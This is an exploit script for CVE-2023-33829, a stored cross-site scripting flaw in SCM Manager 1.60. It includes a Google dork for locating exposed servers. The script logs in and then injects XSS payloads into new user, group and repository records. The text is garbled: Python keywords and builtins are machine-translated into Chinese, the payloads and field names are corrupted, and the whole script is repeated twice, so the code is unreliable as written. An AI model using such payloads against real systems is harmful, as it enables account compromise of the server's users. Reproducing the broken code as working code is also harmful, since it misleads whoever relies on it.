#!/usr/bin/python3
#利用标题: SCM Manager 1.60-跨站点脚本存储(认证)
#Google Dork: Intitle:'scm Manager'Intext:1.60
#日期: 05-25-2023
#Exploit wuter: neg0x(https://github.com/n3gox/cve-2023-33829)
#供应商homepage3360 https://scm-manager.org/
#软件link: https://scm-manager.org/docs/1.x/en/getting-started/
#版本: 1.2=1.60
#测试在: Debian
#CVE: CVE-2023-33829
#模块
导入请求
导入argparse
导入系统
#主菜单
parser=argparse.argumentparser(description='cve-2023-33829 exploit')
parser.add_argument(' - u',' - user',help='管理员用户或用户使用Write Permissions')
parser.add_argument(' - p',' - password',help='用户密码')
args=parser.parse_args()
# 证书
用户=sys.argv [2]
密码=sys.argv [4]
#全局变量
main_url='http://localhost:8080/scm'#如果必要
auth_url=main_url +'/pi/rest/authentication/login.json'
用户=main_url +'/pi/rest/users.json'
组=main_url +'/pi/rest/groups.json'
repos=main_url +'/pi/rest/repositories.json'
#创建会话
session=requests.session()
#发送的凭据
post_data={
'username':用户,#更改如果您有其他具有写入权限的用户
'passwass':密码#如果您有其他用户具有写入权限的其他用户
}
r=session.post(auth_url,data=post_data)
如果r.status_code==200:
打印('[+]成功验证')
其他:
打印('[ - ]未能进行身份验证')
sys.exit(1)
new_user={
'name':'newuser',
'displayName':'img src=x OneError=alert('xss')',
'Mail':'',
'password':'',
'admin': false,
'Active': True,
'type':'xml'
}
create_user=session.post(用户,json=new_user)
打印('[+]用XSS有效载荷创建的用户')
new_group={
'name':'newGroup',
'description':'img src=x OneError=alert('xss')',
'type':'xml'
}
create_group=session.post(组,json=new_group)
打印('[+]组,创建了XSS有效载荷”)
new_repo={
'name':'newrepo',
'type':'svn',
'Contact':'',
'description':'img src=x OneError=alert('xss')',
'public': false
}
create_repo=session.post(repos,json=new_repo)
打印('[+]存储库,创建了XSS有效载荷”)
#利用标题: SCM Manager 1.60-跨站点脚本存储(认证)
#Google Dork: Intitle:'scm Manager'Intext:1.60
#日期: 05-25-2023
#Exploit wuter: neg0x(https://github.com/n3gox/cve-2023-33829)
#供应商homepage3360 https://scm-manager.org/
#软件link: https://scm-manager.org/docs/1.x/en/getting-started/
#版本: 1.2=1.60
#测试在: Debian
#CVE: CVE-2023-33829
#模块
导入请求
导入argparse
导入系统
#主菜单
parser=argparse.argumentparser(description='cve-2023-33829 exploit')
parser.add_argument(' - u',' - user',help='管理员用户或用户使用Write Permissions')
parser.add_argument(' - p',' - password',help='用户密码')
args=parser.parse_args()
# 证书
用户=sys.argv [2]
密码=sys.argv [4]
#全局变量
main_url='http://localhost:8080/scm'#如果必要
auth_url=main_url +'/pi/rest/authentication/login.json'
用户=main_url +'/pi/rest/users.json'
组=main_url +'/pi/rest/groups.json'
repos=main_url +'/pi/rest/repositories.json'
#创建会话
session=requests.session()
#发送的凭据
post_data={
'username':用户,#更改如果您有其他具有写入权限的用户
'passwass':密码#如果您有其他用户具有写入权限的其他用户
}
r=session.post(auth_url,data=post_data)
如果r.status_code==200:
打印('[+]成功验证')
其他:
打印('[ - ]未能进行身份验证')
sys.exit(1)
new_user={
'name':'newuser',
'displayName':'img src=x OneError=alert('xss')',
'Mail':'',
'password':'',
'admin': false,
'Active': True,
'type':'xml'
}
create_user=session.post(用户,json=new_user)
打印('[+]用XSS有效载荷创建的用户')
new_group={
'name':'newGroup',
'description':'img src=x OneError=alert('xss')',
'type':'xml'
}
create_group=session.post(组,json=new_group)
打印('[+]组,创建了XSS有效载荷”)
new_repo={
'name':'newrepo',
'type':'svn',
'Contact':'',
'description':'img src=x OneError=alert('xss')',
'public': false
}
create_repo=session.post(repos,json=new_repo)
打印('[+]存储库,创建了XSS有效载荷”)